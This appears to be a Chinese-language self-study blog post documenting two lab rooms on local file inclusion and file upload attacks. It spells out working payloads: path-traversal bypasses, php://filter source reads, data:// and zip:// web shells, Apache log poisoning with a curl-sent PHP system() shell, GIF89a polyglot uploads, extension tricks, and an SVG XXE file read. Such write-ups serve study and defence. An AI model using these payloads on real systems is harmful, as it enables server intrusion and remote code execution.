今天是网安自学记录的第三篇,把靶场里的「文件包含」和「文件上传与解析攻击」两个房间连着刷完了,这两个模块其实经常是绑在一起考的(比如先在头像上传框传一张塞了木马的图片,再回文件包含接口用zip://或者直接包含图片路径拿webshell),所以干脆放在同一篇笔记里记一下...
以前自己在本机搭upload-labs的时候,因为本地装的php版本和apache配置跟老教程对不上,像双扩展名解析还有zip://包含那几关折腾半天也没复现出来,这次在网页靶场里每个task都已经配好了对应的容器环境,敲起来顺畅多了。
今天刷的两个房间 :
下面涉及答题卡要交的COIN{...}我都替成<REDACTED>了。
第一部分:文件包含房间("乌云盘"靶机 8个Task)
靶机首页是一个叫"乌云盘"的文档预览站,点开文档时地址栏是/view.php?file=readme.txt。
1. 目录遍历与....//双写绕过
第一关没有任何过滤,直接传?file=../../../../var/backups/cloud_init_note.txt就能读到文件(linux下根目录/再往上..还是/自己,所以多写几个../也不会报错)。
到了第二关,传../直接报错include(help/etc/passwd): Failed to open stream,说明后端在前面固定拼了help/前缀,并且用str_replace('../', '', $_GET['file'])把../删掉了。因为str_replace只扫一遍,直接用双写....// (中间的../被删掉后剩下的字符刚好又拼成../)就能过:
text
http://10.x.x.x:8080/view.php?file=....//....//....//....//etc/wuyun/storage.conf
2. 用php://filter读config.php源码
第三关要读同目录下的config.php。如果直接传?file=config.php,预览框里是空白的------因为include直接把里面的<?php代码执行掉了,而配置变量赋值本身不输出任何内容。
用php://filter在读取时先套一层base64编码,不让php引擎执行它:
text
http://10.x.x.x:8080/view.php?file=php://filter/read=convert.base64-encode/resource=config.php
把页面吐出来的base64字符串复制到终端base64 -d解码就能看到里面的明文密码。
3. data://、zip://配合上传与Apache日志投毒
后面几关是如何从LFI拿到远程命令执行(RCE):
- 如果开了
allow_url_include = On:最省事的是直接用data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id,或者用php://input把一句话木马放在POST请求体里发过去。 - 如果关了远程包含,且后端强制在末尾拼了
.php(include($_GET['file'] . '.php')) :
这时候去顶栏的/avatar.php头像上传口。先把真正的shell.php用zip打包,把外层压缩包改名叫shell.jpg传上去拿到路径uploads/shell.jpg,然后用zip://流包装器去包含它(故意省略末尾的.php让后端自己补上):
text http://10.x.x.x:8080/view.php?file=zip://uploads/shell.jpg%23shell&c=cat+/etc/wuyun/plugin.conf注意 :zip://路径#内部文件名中间那个井号#在url里一定要写成**%23**,不然浏览器会把它当成网页锚点直接截断! - 如果连上传框都没有(Session投毒与日志投毒) :
可以先看/var/log/apache2/access.log能不能包含进来。能读的话,用curl -A把User-Agent改成一句话木马发一次请求:
bash curl -s -A "<?php system(\$_GET['c']); ?>" "http://10.x.x.x:8080/index.php" >/dev/null这里我卡了一会儿 :日志投毒的时候,php代码里的$_GET['c']必须用单引号'c'!因为apache访问日志外层本来就用双引号包着User-Agent,如果在里面写了双引号"c",apache写日志时会自动转义成\",包含的时候直接报语法错误。
第二部分:文件上传房间("免费图床"靶机 6个实验Task)
第二个房间专门练上传框的各种校验绕过。
1. 前端绕过、黑名单备选后缀(.phtml)与双扩展名(.php.jpg)
前两关是无校验和前端onchange="checkFile(this)"校验,直接抓包改文件名或者删掉DOM里的onchange属性就能传shell.php。
第三关后端用in_array($ext, ['php','php3','php4','php5','php7','phps','pht'])做了黑名单,但漏掉了同样会被Apache交给PHP解析的**.phtml** 和**.phar** ,把木马改名叫shell.phtml就能直接传上去执行。
第四关后端改成了严格白名单,只允许最后一个后缀是jpg/png/gif。但靶机的Apache配置里写了不带$结尾锚点的正则:
apache
<FilesMatch "\.(php|phtml)">
SetHandler application/x-httpd-php
</FilesMatch>
只要把木马起名叫**shell.php.jpg** ,PHP取最后一个后缀看到是jpg就放行了,而Apache看到文件名里含有.php照样当成PHP代码执行。
2. GIF89a文件头魔数图片马与上传.svg触发XXE
第五关同时校验了Content-Type: image/*和文件前6个字节的魔数(Magic Bytes)。直接在木马第一行加上GIF89a:
bash
printf "GIF89a\n<?php system(\$_GET['cmd']); ?>\n" > /tmp/poly.php.gif
curl -s -F "f=@/tmp/poly.php.gif;type=image/gif" "http://10.x.x.x:8080/index.php"
(如果碰到服务端还调了getimagesize()查图片像素宽高的,单写GIF89a过不去,可以用exiftool -Comment='<?php ... ?>' sample.jpg把木马写进真图片的元数据注释里。)
最后一关图床只允许传.svg矢量图标,并且后端用开了LIBXML_NOENT的DOMDocument去解析SVG里的<title>标签展示在网页上。因为SVG本身就是XML格式,直接写一个带外部实体<!ENTITY xxe SYSTEM "file:///etc/tuchuang/vector.conf">的SVG传上去:
xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/tuchuang/vector.conf">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="120" height="120">
<title>&xxe;</title>
</svg>
传完之后页面显示图标标题的地方直接就把配置文件里的<REDACTED>打出来了。
结语:
差不多也就这些内容,今天把文件包含和文件上传这两个房间放在一起刷完,感觉思路一下子连起来了,明天打算接着去刷ssrf和模板注入那两个房间....